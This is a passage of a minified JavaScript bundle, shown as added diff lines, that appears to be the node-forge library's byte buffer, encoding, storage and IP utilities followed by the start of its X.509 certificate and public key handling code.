i.ByteStringBuffer.prototype.compact = function() { + return this.read > 0 && (this.data = this.data.slice(this.read), + this.read = 0), + this + } + , + i.ByteStringBuffer.prototype.clear = function() { + return this.data = "", + this.read = 0, + this + } + , + i.ByteStringBuffer.prototype.truncate = function(r) { + var e = Math.max(0, this.length() - r); + return this.data = this.data.substr(this.read, e), + this.read = 0, + this + } + , + i.ByteStringBuffer.prototype.toHex = function() { + for (var r = "", e = this.read; e < this.data.length; ++e) { + var t = this.data.charCodeAt(e); + t < 16 && (r += "0"), + r += t.toString(16) + } + return r + } + , + i.ByteStringBuffer.prototype.toString = function() { + return i.decodeUtf8(this.bytes()) + } + , + i.DataBuffer = function(r, e) { + e = e || {}, + this.read = e.readOffset || 0, + this.growSize = e.growSize || 1024; + var t = i.isArrayBuffer(r) + , n = i.isArrayBufferView(r); + if (t || n) + return this.data = t ? new DataView(r) : new DataView(r.buffer,r.byteOffset,r.byteLength), + void (this.write = "writeOffset"in e ? e.writeOffset : this.data.byteLength); + this.data = new DataView(new ArrayBuffer(0)), + this.write = 0, + null != r && this.putBytes(r), + "writeOffset"in e && (this.write = e.writeOffset) + } + , + i.DataBuffer.prototype.length = function() { + return this.write - this.read + } + , + i.DataBuffer.prototype.isEmpty = function() { + return this.length() <= 0 + } + , + i.DataBuffer.prototype.accommodate = function(r, e) { + if (this.length() >= r) + return this; + e = Math.max(e || this.growSize, r); + var t = new Uint8Array(this.data.buffer,this.data.byteOffset,this.data.byteLength) + , n = new Uint8Array(this.length() + e); + return n.set(t), + this.data = new DataView(n.buffer), + this + } + , + i.DataBuffer.prototype.putByte = function(r) { + return this.accommodate(1), + this.data.setUint8(this.write++, r), + this + } + , + i.DataBuffer.prototype.fillWithByte = function(r, e) { + this.accommodate(e); + for (var t = 0; t < e; ++t) + this.data.setUint8(r); + return this + } + , + i.DataBuffer.prototype.putBytes = function(r, e) { + if (i.isArrayBufferView(r)) { + var t = (n = new Uint8Array(r.buffer,r.byteOffset,r.byteLength)).byteLength - n.byteOffset; + return this.accommodate(t), + new Uint8Array(this.data.buffer,this.write).set(n), + this.write += t, + this + } + if (i.isArrayBuffer(r)) { + var n = new Uint8Array(r); + return this.accommodate(n.byteLength), + new Uint8Array(this.data.buffer).set(n, this.write), + this.write += n.byteLength, + this + } + if (r instanceof i.DataBuffer || "object" == typeof r && "number" == typeof r.read && "number" == typeof r.write && i.isArrayBufferView(r.data)) + return n = new Uint8Array(r.data.byteLength,r.read,r.length()), + this.accommodate(n.byteLength), + new Uint8Array(r.data.byteLength,this.write).set(n), + this.write += n.byteLength, + this; + if (r instanceof i.ByteStringBuffer && (r = r.data, + e = "binary"), + e = e || "binary", + "string" == typeof r) { + var a; + if ("hex" === e) + return this.accommodate(Math.ceil(r.length / 2)), + a = new Uint8Array(this.data.buffer,this.write), + this.write += i.binary.hex.decode(r, a, this.write), + this; + if ("base64" === e) + return this.accommodate(3 * Math.ceil(r.length / 4)), + a = new Uint8Array(this.data.buffer,this.write), + this.write += i.binary.base64.decode(r, a, this.write), + this; + if ("utf8" === e && (r = i.encodeUtf8(r), + e = "binary"), + "binary" === e || "raw" === e) + return this.accommodate(r.length), + a = new Uint8Array(this.data.buffer,this.write), + this.write += i.binary.raw.decode(a), + this; + if ("utf16" === e) + return this.accommodate(2 * r.length), + a = new Uint16Array(this.data.buffer,this.write), + this.write += i.text.utf16.encode(a), + this; + throw new Error("Invalid encoding: " + e) + } + throw Error("Invalid parameter: " + r) + } + , + i.DataBuffer.prototype.putBuffer = function(r) { + return this.putBytes(r), + r.clear(), + this + } + , + i.DataBuffer.prototype.putString = function(r) { + return this.putBytes(r, "utf16") + } + , + i.DataBuffer.prototype.putInt16 = function(r) { + return this.accommodate(2), + this.data.setInt16(this.write, r), + this.write += 2, + this + } + , + i.DataBuffer.prototype.putInt24 = function(r) { + return this.accommodate(3), + this.data.setInt16(this.write, r >> 8 & 65535), + this.data.setInt8(this.write, r >> 16 & 255), + this.write += 3, + this + } + , + i.DataBuffer.prototype.putInt32 = function(r) { + return this.accommodate(4), + this.data.setInt32(this.write, r), + this.write += 4, + this + } + , + i.DataBuffer.prototype.putInt16Le = function(r) { + return this.accommodate(2), + this.data.setInt16(this.write, r, !0), + this.write += 2, + this + } + , + i.DataBuffer.prototype.putInt24Le = function(r) { + return this.accommodate(3), + this.data.setInt8(this.write, r >> 16 & 255), + this.data.setInt16(this.write, r >> 8 & 65535, !0), + this.write += 3, + this + } + , + i.DataBuffer.prototype.putInt32Le = function(r) { + return this.accommodate(4), + this.data.setInt32(this.write, r, !0), + this.write += 4, + this + } + , + i.DataBuffer.prototype.putInt = function(r, e) { + o(e), + this.accommodate(e / 8); + do { + e -= 8, + this.data.setInt8(this.write++, r >> e & 255) + } while (e > 0); + return this + } + , + i.DataBuffer.prototype.putSignedInt = function(r, e) { + return o(e), + this.accommodate(e / 8), + r < 0 && (r += 2 << e - 1), + this.putInt(r, e) + } + , + i.DataBuffer.prototype.getByte = function() { + return this.data.getInt8(this.read++) + } + , + i.DataBuffer.prototype.getInt16 = function() { + var r = this.data.getInt16(this.read); + return this.read += 2, + r + } + , + i.DataBuffer.prototype.getInt24 = function() { + var r = this.data.getInt16(this.read) << 8 ^ this.data.getInt8(this.read + 2); + return this.read += 3, + r + } + , + i.DataBuffer.prototype.getInt32 = function() { + var r = this.data.getInt32(this.read); + return this.read += 4, + r + } + , + i.DataBuffer.prototype.getInt16Le = function() { + var r = this.data.getInt16(this.read, !0); + return this.read += 2, + r + } + , + i.DataBuffer.prototype.getInt24Le = function() { + var r = this.data.getInt8(this.read) ^ this.data.getInt16(this.read + 1, !0) << 8; + return this.read += 3, + r + } + , + i.DataBuffer.prototype.getInt32Le = function() { + var r = this.data.getInt32(this.read, !0); + return this.read += 4, + r + } + , + i.DataBuffer.prototype.getInt = function(r) { + o(r); + var e = 0; + do { + e = (e << 8) + this.data.getInt8(this.read++), + r -= 8 + } while (r > 0); + return e + } + , + i.DataBuffer.prototype.getSignedInt = function(r) { + var e = this.getInt(r) + , t = 2 << r - 2; + return e >= t && (e -= t << 1), + e + } + , + i.DataBuffer.prototype.getBytes = function(r) { + var e; + return r ? (r = Math.min(this.length(), r), + e = this.data.slice(this.read, this.read + r), + this.read += r) : 0 === r ? e = "" : (e = 0 === this.read ? this.data : this.data.slice(this.read), + this.clear()), + e + } + , + i.DataBuffer.prototype.bytes = function(r) { + return void 0 === r ? this.data.slice(this.read) : this.data.slice(this.read, this.read + r) + } + , + i.DataBuffer.prototype.at = function(r) { + return this.data.getUint8(this.read + r) + } + , + i.DataBuffer.prototype.setAt = function(r, e) { + return this.data.setUint8(r, e), + this + } + , + i.DataBuffer.prototype.last = function() { + return this.data.getUint8(this.write - 1) + } + , + i.DataBuffer.prototype.copy = function() { + return new i.DataBuffer(this) + } + , + i.DataBuffer.prototype.compact = function() { + if (this.read > 0) { + var r = new Uint8Array(this.data.buffer,this.read) + , e = new Uint8Array(r.byteLength); + e.set(r), + this.data = new DataView(e), + this.write -= this.read, + this.read = 0 + } + return this + } + , + i.DataBuffer.prototype.clear = function() { + return this.data = new DataView(new ArrayBuffer(0)), + this.read = this.write = 0, + this + } + , + i.DataBuffer.prototype.truncate = function(r) { + return this.write = Math.max(0, this.length() - r), + this.read = Math.min(this.read, this.write), + this + } + , + i.DataBuffer.prototype.toHex = function() { + for (var r = "", e = this.read; e < this.data.byteLength; ++e) { + var t = this.data.getUint8(e); + t < 16 && (r += "0"), + r += t.toString(16) + } + return r + } + , + i.DataBuffer.prototype.toString = function(r) { + var e = new Uint8Array(this.data,this.read,this.length()); + if ("binary" === (r = r || "utf8") || "raw" === r) + return i.binary.raw.encode(e); + if ("hex" === r) + return i.binary.hex.encode(e); + if ("base64" === r) + return i.binary.base64.encode(e); + if ("utf8" === r) + return i.text.utf8.decode(e); + if ("utf16" === r) + return i.text.utf16.decode(e); + throw new Error("Invalid encoding: " + r) + } + , + i.createBuffer = function(r, e) { + return e = e || "raw", + void 0 !== r && "utf8" === e && (r = i.encodeUtf8(r)), + new i.ByteBuffer(r) + } + , + i.fillString = function(r, e) { + for (var t = ""; e > 0; ) + 1 & e && (t += r), + (e >>>= 1) > 0 && (r += r); + return t + } + , + i.xorBytes = function(r, e, t) { + for (var n = "", a = "", i = "", o = 0, u = 0; t > 0; --t, + ++o) + a = r.charCodeAt(o) ^ e.charCodeAt(o), + u >= 10 && (n += i, + i = "", + u = 0), + i += String.fromCharCode(a), + ++u; + return n + i + } + , + i.hexToBytes = function(r) { + var e = "" + , t = 0; + for (!0 & r.length && (t = 1, + e += String.fromCharCode(parseInt(r[0], 16))); t < r.length; t += 2) + e += String.fromCharCode(parseInt(r.substr(t, 2), 16)); + return e + } + , + i.bytesToHex = function(r) { + return i.createBuffer(r).toHex() + } + , + i.int32ToBytes = function(r) { + return String.fromCharCode(r >> 24 & 255) + String.fromCharCode(r >> 16 & 255) + String.fromCharCode(r >> 8 & 255) + String.fromCharCode(255 & r) + } + ; + var s = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" + , c = [62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 64, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51] + , f = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; + i.encode64 = function(r, e) { + for (var t, n, a, i = "", o = "", u = 0; u < r.length; ) + t = r.charCodeAt(u++), + n = r.charCodeAt(u++), + a = r.charCodeAt(u++), + i += s.charAt(t >> 2), + i += s.charAt((3 & t) << 4 | n >> 4), + isNaN(n) ? i += "==" : (i += s.charAt((15 & n) << 2 | a >> 6), + i += isNaN(a) ? "=" : s.charAt(63 & a)), + e && i.length > e && (o += i.substr(0, e) + "\r\n", + i = i.substr(e)); + return o + i + } + , + i.decode64 = function(r) { + r = r.replace(/[^A-Za-z0-9\+\/\=]/g, ""); + for (var e, t, n, a, i = "", o = 0; o < r.length; ) + e = c[r.charCodeAt(o++) - 43], + t = c[r.charCodeAt(o++) - 43], + n = c[r.charCodeAt(o++) - 43], + a = c[r.charCodeAt(o++) - 43], + i += String.fromCharCode(e << 2 | t >> 4), + 64 !== n && (i += String.fromCharCode((15 & t) << 4 | n >> 2), + 64 !== a && (i += String.fromCharCode((3 & n) << 6 | a))); + return i + } + , + i.encodeUtf8 = function(r) { + return unescape(encodeURIComponent(r)) + } + , + i.decodeUtf8 = function(r) { + return decodeURIComponent(escape(r)) + } + , + i.binary = { + raw: {}, + hex: {}, + base64: {}, + base58: {}, + baseN: { + encode: a.encode, + decode: a.decode + } + }, + i.binary.raw.encode = function(r) { + return String.fromCharCode.apply(null, r) + } + , + i.binary.raw.decode = function(r, e, t) { + var n = e; + n || (n = new Uint8Array(r.length)); + for (var a = t = t || 0, i = 0; i < r.length; ++i) + n[a++] = r.charCodeAt(i); + return e ? a - t : n + } + , + i.binary.hex.encode = i.bytesToHex, + i.binary.hex.decode = function(r, e, t) { + var n = e; + n || (n = new Uint8Array(Math.ceil(r.length / 2))); + var a = 0 + , i = t = t || 0; + for (1 & r.length && (a = 1, + n[i++] = parseInt(r[0], 16)); a < r.length; a += 2) + n[i++] = parseInt(r.substr(a, 2), 16); + return e ? i - t : n + } + , + i.binary.base64.encode = function(r, e) { + for (var t, n, a, i = "", o = "", u = 0; u < r.byteLength; ) + t = r[u++], + n = r[u++], + a = r[u++], + i += s.charAt(t >> 2), + i += s.charAt((3 & t) << 4 | n >> 4), + isNaN(n) ? i += "==" : (i += s.charAt((15 & n) << 2 | a >> 6), + i += isNaN(a) ? "=" : s.charAt(63 & a)), + e && i.length > e && (o += i.substr(0, e) + "\r\n", + i = i.substr(e)); + return o + i + } + , + i.binary.base64.decode = function(r, e, t) { + var n, a, i, o, u = e; + u || (u = new Uint8Array(3 * Math.ceil(r.length / 4))), + r = r.replace(/[^A-Za-z0-9\+\/\=]/g, ""); + for (var s = 0, f = t = t || 0; s < r.length; ) + n = c[r.charCodeAt(s++) - 43], + a = c[r.charCodeAt(s++) - 43], + i = c[r.charCodeAt(s++) - 43], + o = c[r.charCodeAt(s++) - 43], + u[f++] = n << 2 | a >> 4, + 64 !== i && (u[f++] = (15 & a) << 4 | i >> 2, + 64 !== o && (u[f++] = (3 & i) << 6 | o)); + return e ? f - t : u.subarray(0, f) + } + , + i.binary.base58.encode = function(r, e) { + return i.binary.baseN.encode(r, f, e) + } + , + i.binary.base58.decode = function(r, e) { + return i.binary.baseN.decode(r, f, e) + } + , + i.text = { + utf8: {}, + utf16: {} + }, + i.text.utf8.encode = function(r, e, t) { + r = i.encodeUtf8(r); + var n = e; + n || (n = new Uint8Array(r.length)); + for (var a = t = t || 0, o = 0; o < r.length; ++o) + n[a++] = r.charCodeAt(o); + return e ? a - t : n + } + , + i.text.utf8.decode = function(r) { + return i.decodeUtf8(String.fromCharCode.apply(null, r)) + } + , + i.text.utf16.encode = function(r, e, t) { + var n = e; + n || (n = new Uint8Array(2 * r.length)); + for (var a = new Uint16Array(n.buffer), i = t = t || 0, o = t, u = 0; u < r.length; ++u) + a[o++] = r.charCodeAt(u), + i += 2; + return e ? i - t : n + } + , + i.text.utf16.decode = function(r) { + return String.fromCharCode.apply(null, new Uint16Array(r.buffer)) + } + , + i.deflate = function(r, e, t) { + if (e = i.decode64(r.deflate(i.encode64(e)).rval), + t) { + var n = 2; + 32 & e.charCodeAt(1) && (n = 6), + e = e.substring(n, e.length - 4) + } + return e + } + , + i.inflate = function(r, e, t) { + var n = r.inflate(i.encode64(e)).rval; + return null === n ? null : i.decode64(n) + } + ; + var v = function(r, e, t) { + if (!r) + throw new Error("WebStorage not available."); + var n; + if (null === t ? n = r.removeItem(e) : (t = i.encode64(JSON.stringify(t)), + n = r.setItem(e, t)), + void 0 !== n && !0 !== n.rval) { + var a = new Error(n.error.message); + throw a.id = n.error.id, + a.name = n.error.name, + a + } + } + , x = function(r, e) { + if (!r) + throw new Error("WebStorage not available."); + var t = r.getItem(e); + if (r.init) + if (null === t.rval) { + if (t.error) { + var n = new Error(t.error.message); + throw n.id = t.error.id, + n.name = t.error.name, + n + } + t = null + } else + t = t.rval; + return null !== t && (t = JSON.parse(i.decode64(t))), + t + } + , l = function(r, e, t, n) { + var a = x(r, e); + null === a && (a = {}), + a[t] = n, + v(r, e, a) + } + , d = function(r, e, t) { + var n = x(r, e); + return null !== n && (n = t in n ? n[t] : null), + n + } + , h = function(r, e, t) { + var n = x(r, e); + if (null !== n && t in n) { + delete n[t]; + var a = !0; + for (var i in n) { + a = !1; + break + } + a && (n = null), + v(r, e, n) + } + } + , p = function(r, e) { + v(r, e, null) + } + , y = function(r, e, t) { + var n, a = null; + void 0 === t && (t = ["web", "flash"]); + var i = !1 + , o = null; + for (var u in t) { + n = t[u]; + try { + if ("flash" === n || "both" === n) { + if (null === e[0]) + throw new Error("Flash local storage not available."); + a = r.apply(this, e), + i = "flash" === n + } + "web" !== n && "both" !== n || (e[0] = localStorage, + a = r.apply(this, e), + i = !0) + } catch (r) { + o = r + } + if (i) + break + } + if (!i) + throw o; + return a + }; + i.setItem = function(r, e, t, n, a) { + y(l, arguments, a) + } + , + i.getItem = function(r, e, t, n) { + return y(d, arguments, n) + } + , + i.removeItem = function(r, e, t, n) { + y(h, arguments, n) + } + , + i.clearItems = function(r, e, t) { + y(p, arguments, t) + } + , + i.isEmpty = function(r) { + for (var e in r) + if (r.hasOwnProperty(e)) + return !1; + return !0 + } + , + i.format = function(r) { + for (var e, t, n = /%./g, a = 0, i = [], o = 0; e = n.exec(r); ) { + (t = r.substring(o, n.lastIndex - 2)).length > 0 && i.push(t), + o = n.lastIndex; + var u = e[0][1]; + switch (u) { + case "s": + case "o": + a < arguments.length ? i.push(arguments[1 + a++]) : i.push(""); + break; + case "%": + i.push("%"); + break; + default: + i.push("<%" + u + "?>") + } + } + return i.push(r.substring(o)), + i.join("") + } + , + i.formatNumber = function(r, e, t, n) { + var a = r + , i = isNaN(e = Math.abs(e)) ? 2 : e + , o = void 0 === t ? "," : t + , u = void 0 === n ? "." : n + , s = a < 0 ? "-" : "" + , c = parseInt(a = Math.abs(+a || 0).toFixed(i), 10) + "" + , f = c.length > 3 ? c.length % 3 : 0; + return s + (f ? c.substr(0, f) + u : "") + c.substr(f).replace(/(\d{3})(?=\d)/g, "$1" + u) + (i ? o + Math.abs(a - c).toFixed(i).slice(2) : "") + } + , + i.formatSize = function(r) { + return r >= 1073741824 ? i.formatNumber(r / 1073741824, 2, ".", "") + " GiB" : r >= 1048576 ? i.formatNumber(r / 1048576, 2, ".", "") + " MiB" : r >= 1024 ? i.formatNumber(r / 1024, 0) + " KiB" : i.formatNumber(r, 0) + " bytes" + } + , + i.bytesFromIP = function(r) { + return -1 !== r.indexOf(".") ? i.bytesFromIPv4(r) : -1 !== r.indexOf(":") ? i.bytesFromIPv6(r) : null + } + , + i.bytesFromIPv4 = function(r) { + if (4 !== (r = r.split(".")).length) + return null; + for (var e = i.createBuffer(), t = 0; t < r.length; ++t) { + var n = parseInt(r[t], 10); + if (isNaN(n)) + return null; + e.putByte(n) + } + return e.getBytes() + } + , + i.bytesFromIPv6 = function(r) { + for (var e = 0, t = 2 * (8 - (r = r.split(":").filter(function(r) { + return 0 === r.length && ++e, + !0 + })).length + e), n = i.createBuffer(), a = 0; a < 8; ++a) + if (r[a] && 0 !== r[a].length) { + var o = i.hexToBytes(r[a]); + o.length < 2 && n.putByte(0), + n.putBytes(o) + } else + n.fillWithByte(0, t), + t = 0; + return n.getBytes() + } + , + i.bytesToIP = function(r) { + return 4 === r.length ? i.bytesToIPv4(r) : 16 === r.length ? i.bytesToIPv6(r) : null + } + , + i.bytesToIPv4 = function(r) { + if (4 !== r.length) + return null; + for (var e = [], t = 0; t < r.length; ++t) + e.push(r.charCodeAt(t)); + return e.join(".") + } + , + i.bytesToIPv6 = function(r) { + if (16 !== r.length) + return null; + for (var e = [], t = [], n = 0, a = 0; a < r.length; a += 2) { + for (var o = i.bytesToHex(r[a] + r[a + 1]); "0" === o[0] && "0" !== o; ) + o = o.substr(1); + if ("0" === o) { + var u = t[t.length - 1] + , s = e.length; + u && s === u.end + 1 ? (u.end = s, + u.end - u.start > t[n].end - t[n].start && (n = t.length - 1)) : t.push({ + start: s, + end: s + }) + } + e.push(o) + } + if (t.length > 0) { + var c = t[n]; + c.end - c.start > 0 && (e.splice(c.start, c.end - c.start + 1, ""), + 0 === c.start && e.unshift(""), + 7 === c.end && e.push("")) + } + return e.join(":") + } + , + i.estimateCores = function(r, e) { + if ("function" == typeof r && (e = r, + r = {}), + r = r || {}, + "cores"in i && !r.update) + return e(null, i.cores); + if ("undefined" != typeof navigator && "hardwareConcurrency"in navigator && navigator.hardwareConcurrency > 0) + return i.cores = navigator.hardwareConcurrency, + e(null, i.cores); + if ("undefined" == typeof Worker) + return i.cores = 1, + e(null, i.cores); + if ("undefined" == typeof Blob) + return i.cores = 2, + e(null, i.cores); + var t = URL.createObjectURL(new Blob(["(", function() { + self.addEventListener("message", function(r) { + for (var e = Date.now(), t = e + 4; Date.now() < t; ) + ; + self.postMessage({ + st: e, + et: t + }) + }) + } + .toString(), ")()"],{ + type: "application/javascript" + })); + !function r(n, a, o) { + if (0 === a) { + var u = Math.floor(n.reduce(function(r, e) { + return r + e + }, 0) / n.length); + return i.cores = Math.max(1, u), + URL.revokeObjectURL(t), + e(null, i.cores) + } + !function(r, e) { + for (var n = [], a = [], i = 0; i < r; ++i) { + var o = new Worker(t); + o.addEventListener("message", function(t) { + if (a.push(t.data), + a.length === r) { + for (var i = 0; i < r; ++i) + n[i].terminate(); + e(0, a) + } + }), + n.push(o) + } + for (i = 0; i < r; ++i) + n[i].postMessage(i) + }(o, function(e, t) { + n.push(function(r, e) { + for (var t = [], n = 0; n < r; ++n) + for (var a = e[n], i = t[n] = [], o = 0; o < r; ++o) + if (n !== o) { + var u = e[o]; + (a.st > u.st && a.st < u.et || u.st > a.st && u.st < a.et) && i.push(o) + } + return t.reduce(function(r, e) { + return Math.max(r, e.length) + }, 0) + }(o, t)), + r(n, a - 1, o) + }) + }([], 5, 16) + } + } + , + 414: (r,e,t)=>{ + var n = t(832); + t(925), + t(68), + t(480), + t(991), + t(971), + t(270), + t(953), + t(7), + t(95), + t(116); + var a = n.asn1 + , i = r.exports = n.pki = n.pki || {} + , o = i.oids + , s = {}; + s.CN = o.commonName, + s.commonName = "CN", + s.C = o.countryName, + s.countryName = "C", + s.L = o.localityName, + s.localityName = "L", + s.ST = o.stateOrProvinceName, + s.stateOrProvinceName = "ST", + s.O = o.organizationName, + s.organizationName = "O", + s.OU = o.organizationalUnitName, + s.organizationalUnitName = "OU", + s.E = o.emailAddress, + s.emailAddress = "E"; + var c = n.pki.rsa.publicKeyValidator; + a.Class.UNIVERSAL, + a.Type.SEQUENCE, + a.Class.UNIVERSAL, + a.Type.INTEGER, + a.Class.UNIVERSAL, + a.Type.SEQUENCE, + a.Class.CONTEXT_SPECIFIC, + a.Class.UNIVERSAL, + a.Type.SEQUENCE, + a.Class.UNIVERSAL, + a.Type.OID, + a.Class.UNIVERSAL, + a.Type.SET; + i.certificateFromPem = function(r, e, t) { + var o = n.pem.decode(r)[0]; + if ("CERTIFICATE" !== o.type && "X509 CERTIFICATE" !== o.type && "TRUSTED CERTIFICATE" !== o.type) { + var u = new Error('Could not convert certificate from PEM; PEM header type is not "CERTIFICATE", "X509 CERTIFICATE", or "TRUSTED CERTIFICATE".'); + throw u.headerType = o.type, + u + } + if (o.procType && "ENCRYPTED" === o.procType.type) + throw new Error("Could not convert certificate from PEM; PEM is encrypted."); + var s = a.fromDer(o.body, t); + return i.certificateFromAsn1(s, e) + } + , + i.certificateToPem = function(r, e) { + var t = { + type: "CERTIFICATE", + body: a.toDer(i.certificateToAsn1(r)).getBytes() + }; + return n.pem.encode(t, { + maxline: e + }) + } + , + i.publicKeyFromPem = function(r) { + var e = n.pem.decode(r)[0]; + if ("PUBLIC KEY" !== e.type && "RSA PUBLIC KEY" !== e.type) { + var t = new Error('Could not convert public key from PEM; PEM header type is not "PUBLIC KEY" or "RSA PUBLIC KEY".'); + throw t.headerType = e.type, + t + } + if (e.procType && "ENCRYPTED" === e.procType.type) + throw new Error("Could not convert public key from PEM; PEM is encrypted."); + var o = a.fromDer(e.body); + return i.publicKeyFromAsn1(o) + } + , + i.publicKeyToPem = function(r, e) { + var t = { + type: "PUBLIC KEY", + body: a.toDer(i.publicKeyToAsn1(r)).getBytes() + }; + return n.pem.encode(t, { + maxline: e + }) + } + , + i.publicKeyToRSAPublicKeyPem = function(r, e) { + var t = { + type: "RSA PUBLIC KEY", + body: a.toDer(i.publicKeyToRSAPublicKey(r)).getBytes() + }; + return n.pem.encode(t, { + maxline: e + }) + } + , + i.getPublicKeyFingerprint = function(r, e) { + var t, o = (e = e || {}).md || n.md.sha1.create(); + switch (e.type || "RSAPublicKey") { + case "RSAPublicKey": + t = a.toDer(i.publicKeyToRSAPublicKey(r)).getBytes(); + break; + case "SubjectPublicKeyInfo": + t = a.toDer(i.publicKeyToAsn1(r)).getBytes(); + break; + default: + throw new Error('Unknown fingerprint type "' + e.type + '".') + } + o.start(), + o.update(t); + var u = o.digest(); + if ("hex" === e.encoding) { + var s = u.toHex(); + return e.delimiter ? s.match(/.{2}/g).join(e.delimiter) : s + } + if ("binary" === e.encoding) + return u.getBytes(); + if (e.encoding) + throw new Error('Unknown encoding "' + e.encoding + '".'); + return u + } + , + i.certificationRequestFromPem = function(r, e, t) { + var o = n.pem.decode(r)[0]; + if ("CERTIFICATE REQUEST" !== o.type) { + var u = new Error('Could not convert certification request from PEM; PEM header type is not "CERTIFICATE REQUEST".'); + throw u.headerType = o.type, + u + } + if (o.procType && "ENCRYPTED" === o.procType.type) + throw new Error("Could not convert certification request from PEM; PEM is encrypted."); + var s = a.fromDer(o.body, t); + return i.certificationRequestFromAsn1(s, e) + } + , + i.certificationRequestToPem = function(r, e) { + var t = { + type: "CERTIFICATE REQUEST", + body: a.toDer(i.certificationRequestToAsn1(r)).getBytes() + }; + return n.pem.encode(t, { + maxline: e + }) + } + , + i.createCertificate = function() { + var r = { + version: 2, + serialNumber: "00", + signatureOid: null, + signature: null, + siginfo: {} + }; + return r.siginfo.algorithmOid = null, + r.validity = {}, + r.validity.notBefore = new Date, + r.validity.notAfter = new Date, + r.issuer = {}, + r.issuer.getField = function(e) { + return h(r.issuer, e) + } + , + r.issuer.addField = function(e) { + m([e]), + r.issuer.attributes.push(e) + } + , + r.issuer.attributes = [], + r.issuer.hash = null, + r.subject = {}, + r.subject.getField = function(e) { + return h(r.subject, e) + } + , + r.subject.addField = function(e) { + m([e]), + r.subject.attributes.push(e) + } + , + r.subject.attributes = [], + r.subject.hash = null, + r.extensions = [], + r.publicKey = null, + r.md = null, + r.setSubject = function(e, t) { + m(e), + r.subject.attributes = e, + delete r.subject.uniqueId, + t && (r.subject.uniqueId = t), + r.subject.hash = null + } + , + r.setIssuer = function(e, t) { + m(e), + r.issuer.attributes = e, + delete r.issuer.uniqueId, + t && (r.issuer.uniqueId = t), + r.issuer.hash = null + } + , + r.setExtensions = function(e) { + for (var t = 0; t < e.length; ++t) + C(e[t], { + cert: r + }); + r.extensions = e + } + , + r.getExtension = function(e) { + "string" == typeof e && (e = { + name: e + }); + for (var t, n = null, a = 0; null === n && a < r.extensions.length; ++a) + t = r.extensions[a], + (e.id && t.id === e.id || e.name && t.name === e.name) && (n = t); + return n + } + , + r.sign = function(e, t) { + r.md = t || n.md.sha1.create(); + var u = o[r.md.algorithm + "WithRSAEncryption"]; + if (!u) { + var s = new Error("Could not compute certificate digest. Unknown message digest algorithm OID."); + throw s.algorithm = r.md.algorithm, + s + } + r.signatureOid = r.siginfo.algorithmOid = u, + r.tbsCertificate = i.getTBSCertificate(r); + var c = a.toDer(r.tbsCertificate); + r.md.update(c.getBytes()), + r.signature = e.sign(r.md) + } + , + r.verify = function(e) { + var t = !1; + if (!r.issued(e)) { + var n = e.issuer + , o = r.subject + , u = new Error("The parent certificate did not issue the given child certificate; the child certificate's issuer does not match the parent's subject."); + throw u.expectedIssuer = o.attributes, + u.actualIssuer = n.attributes, + u + } + var s = e.md; + if (null === s) { + s = y({ + signatureOid: e.signatureOid, + type: "certificate" + }); + var c = e.tbsCertificate || i.getTBSCertificate(e) + , f = a.toDer(c); + s.update(f.getBytes()) + } + return null !== s && (t = g({ + certificate: r, + md: s, + signature: e.signature + })), + t + } + , + r.isIssuer = function(e) { + var t = !1 + , n = r.issuer + , a = e.subject; + if (n.hash && a.hash) + t = n.hash === a.hash; + else if (n.attributes.length === a.attributes.length) { + var i, o; + t = !0; + for (var u = 0; t && u < n.attributes.length; ++u) + i = n.attributes[u], + o = a.attributes[u], + i.type === o.type && i.value === o.value || (t = !1) + } + return t + } + , + r.issued = function(e) { + return e.isIssuer(r) + } + , + r.generateSubjectKeyIdentifier = function() { + return i.getPublicKeyFingerprint(r.publicKey, { + type: "RSAPublicKey" + }) + } + , + r.verifySubjectKeyIdentifier = function() { + for (var e = o.subjectKeyIdentifier, t = 0; t < r.extensions.length; ++t) { + var a = r.extensions[t]; + if (a.id === e) { + var i = r.generateSubjectKeyIdentifier().getBytes(); + return n.util.hexToBytes(a.subjectKeyIdentifier) === i + } + } + return !1 + } + , + r + } + , + i.certificateFromAsn1 = function(r, e) { + var t = {} + , o = []; + if (!a.validate(r, u, t, o)) { + var s = new Error("Cannot read X.509 certificate. ASN.1 object is not an X509v3 Certificate."); + throw s.errors = o, + s + } + if (a.derToOid(t.publicKeyOid) !== i.oids.rsaEncryption) + throw new Error("Cannot read public key. OID is not RSA."); + var c = i.createCertificate(); + c.version = t.certVersion ? t.certVersion.charCodeAt(0) : 0; + var f = n.util.createBuffer(t.certSerialNumber); + c.serialNumber = f.toHex(), + c.signatureOid = n.asn1.derToOid(t.certSignatureOid), + c.signatureParameters = d(c.signatureOid, t.certSignatureParams, !0), + c.siginfo.algorithmOid = n.asn1.derToOid(t.certinfoSignatureOid), + c.siginfo.parameters = d(c.siginfo.algorithmOid, t.certinfoSignatureParams, !1), + c.signature = t.certSignature; + var v = []; + if (void 0 !== t.certValidity1UTCTime && v.push(a.utcTimeToDate(t.certValidity1UTCTime)), + void 0 !== t.certValidity2GeneralizedTime && v.push(a.generalizedTimeToDate(t.certValidity2GeneralizedTime)), + void 0 !== t.certValidity3UTCTime && v.push(a.utcTimeToDate(t.certValidity3UTCTime)), + void 0 !== t.certValidity4GeneralizedTime && v.push(a.generalizedTimeToDate(t.certValidity4GeneralizedTime)), + v.length > 2) + throw new Error("Cannot read notBefore/notAfter validity times; more than two times were provided in the certificate."); + if (v.length < 2) + throw new Error("Cannot read notBefore/notAfter validity times; they were not provided as either UTCTime or GeneralizedTime."); + if (c.validity.notBefore = v[0], + c.validity.notAfter = v[1], + c.tbsCertificate = t.tbsCertificate, + e) { + c.md = y({ + signatureOid: c.signatureOid, + type: "certificate" + }); + var x = a.toDer(c.tbsCertificate); + c.md.update(x.getBytes()) + } + var l = n.md.sha1.create() + , p = a.toDer(t.certIssuer); + l.update(p.getBytes()), + c.issuer.getField = function(r) { + return h(c.issuer, r) + } + , + c.issuer.addField = function(r) { + m([r]), + c.issuer.attributes.push(r) + } + , + c.issuer.attributes = i.RDNAttributesAsArray(t.certIssuer), + 